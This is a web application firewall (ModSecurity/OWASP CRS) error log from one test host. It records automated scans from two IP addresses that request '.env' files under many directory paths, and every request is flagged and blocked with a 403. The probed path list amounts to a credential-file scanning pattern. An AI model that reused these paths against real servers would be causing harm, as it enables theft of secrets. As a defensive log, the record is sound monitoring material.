[Fri Nov 28 19:31:30.453595 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSnqgulfIsf8iBzToT1BKQAAABg"]
[Fri Nov 28 19:31:30.453792 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSnqgulfIsf8iBzToT1BKQAAABg"]
[Fri Nov 28 19:31:30.456668 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /en/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aSnqgq9FOLCsq7MColttGgAAAAE"]
[Fri Nov 28 19:31:30.456846 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aSnqgq9FOLCsq7MColttGgAAAAE"]
[Fri Nov 28 19:31:30.457041 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aSnqgq9FOLCsq7MColttGgAAAAE"]
[Fri Nov 28 19:31:31.014137 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aSnqgz5upQdonQ7NnAkbAAAAAAg"]
[Fri Nov 28 19:31:31.014387 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aSnqgz5upQdonQ7NnAkbAAAAAAg"]
[Fri Nov 28 19:31:31.014600 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aSnqgz5upQdonQ7NnAkbAAAAAAg"]
[Fri Nov 28 19:31:31.279413 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aSnqg18S5pSkrXDjBSwZfwAAAAc"]
[Fri Nov 28 19:31:31.279649 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aSnqg18S5pSkrXDjBSwZfwAAAAc"]
[Fri Nov 28 19:31:31.279859 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aSnqg18S5pSkrXDjBSwZfwAAAAc"]
[Fri Nov 28 19:31:33.096485 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aSnqha9FOLCsq7MColttHAAAAAE"]
[Fri Nov 28 19:31:33.096722 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aSnqha9FOLCsq7MColttHAAAAAE"]
[Fri Nov 28 19:31:33.096928 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aSnqha9FOLCsq7MColttHAAAAAE"]
[Fri Nov 28 19:31:33.279276 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aSnqhV8S5pSkrXDjBSwZgQAAAAc"]
[Fri Nov 28 19:31:33.279496 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aSnqhV8S5pSkrXDjBSwZgQAAAAc"]
[Fri Nov 28 19:31:33.279680 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aSnqhV8S5pSkrXDjBSwZgQAAAAc"]
[Fri Nov 28 19:31:33.673561 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSnqha9FOLCsq7MColttHQAAAAE"]
[Fri Nov 28 19:31:33.673801 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSnqha9FOLCsq7MColttHQAAAAE"]
[Fri Nov 28 19:31:33.674009 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSnqha9FOLCsq7MColttHQAAAAE"]
[Fri Nov 28 19:31:33.866786 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aSnqhV8S5pSkrXDjBSwZggAAAAc"]
[Fri Nov 28 19:31:33.867004 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aSnqhV8S5pSkrXDjBSwZggAAAAc"]
[Fri Nov 28 19:31:33.867192 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aSnqhV8S5pSkrXDjBSwZggAAAAc"]
[Fri Nov 28 19:31:34.377081 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSnqhq9FOLCsq7MColttHgAAAAE"]
[Fri Nov 28 19:31:34.377310 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSnqhq9FOLCsq7MColttHgAAAAE"]
[Fri Nov 28 19:31:34.377512 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSnqhq9FOLCsq7MColttHgAAAAE"]
[Fri Nov 28 19:31:34.646228 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tools/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aSnqhl8S5pSkrXDjBSwZgwAAAAc"]
[Fri Nov 28 19:31:34.646473 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aSnqhl8S5pSkrXDjBSwZgwAAAAc"]
[Fri Nov 28 19:31:34.646915 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aSnqhl8S5pSkrXDjBSwZgwAAAAc"]
[Fri Nov 28 19:31:35.003372 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSnqh18S5pSkrXDjBSwZhAAAAAc"]
[Fri Nov 28 19:31:35.003607 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSnqh18S5pSkrXDjBSwZhAAAAAc"]
[Fri Nov 28 19:31:35.003821 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSnqh18S5pSkrXDjBSwZhAAAAAc"]
[Fri Nov 28 19:31:35.879313 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aSnqh69FOLCsq7MColttIAAAAAE"]
[Fri Nov 28 19:31:35.879535 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aSnqh69FOLCsq7MColttIAAAAAE"]
[Fri Nov 28 19:31:35.879734 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aSnqh69FOLCsq7MColttIAAAAAE"]
[Fri Nov 28 19:31:35.880232 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSnqh18S5pSkrXDjBSwZhgAAAAc"]
[Fri Nov 28 19:31:35.880424 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSnqh18S5pSkrXDjBSwZhgAAAAc"]
[Fri Nov 28 19:31:35.880589 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSnqh18S5pSkrXDjBSwZhgAAAAc"]
[Fri Nov 28 23:23:46.989666 2025] [:error] [pid 393567] [client 45.139.104.171:44198] [client 45.139.104.171] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSog8nszj5k1X1MGnY0lRgAAAAY"]
[Fri Nov 28 23:23:46.989967 2025] [:error] [pid 393567] [client 45.139.104.171:44198] [client 45.139.104.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSog8nszj5k1X1MGnY0lRgAAAAY"]
[Fri Nov 28 23:23:46.990135 2025] [:error] [pid 393567] [client 45.139.104.171:44198] [client 45.139.104.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSog8nszj5k1X1MGnY0lRgAAAAY"]
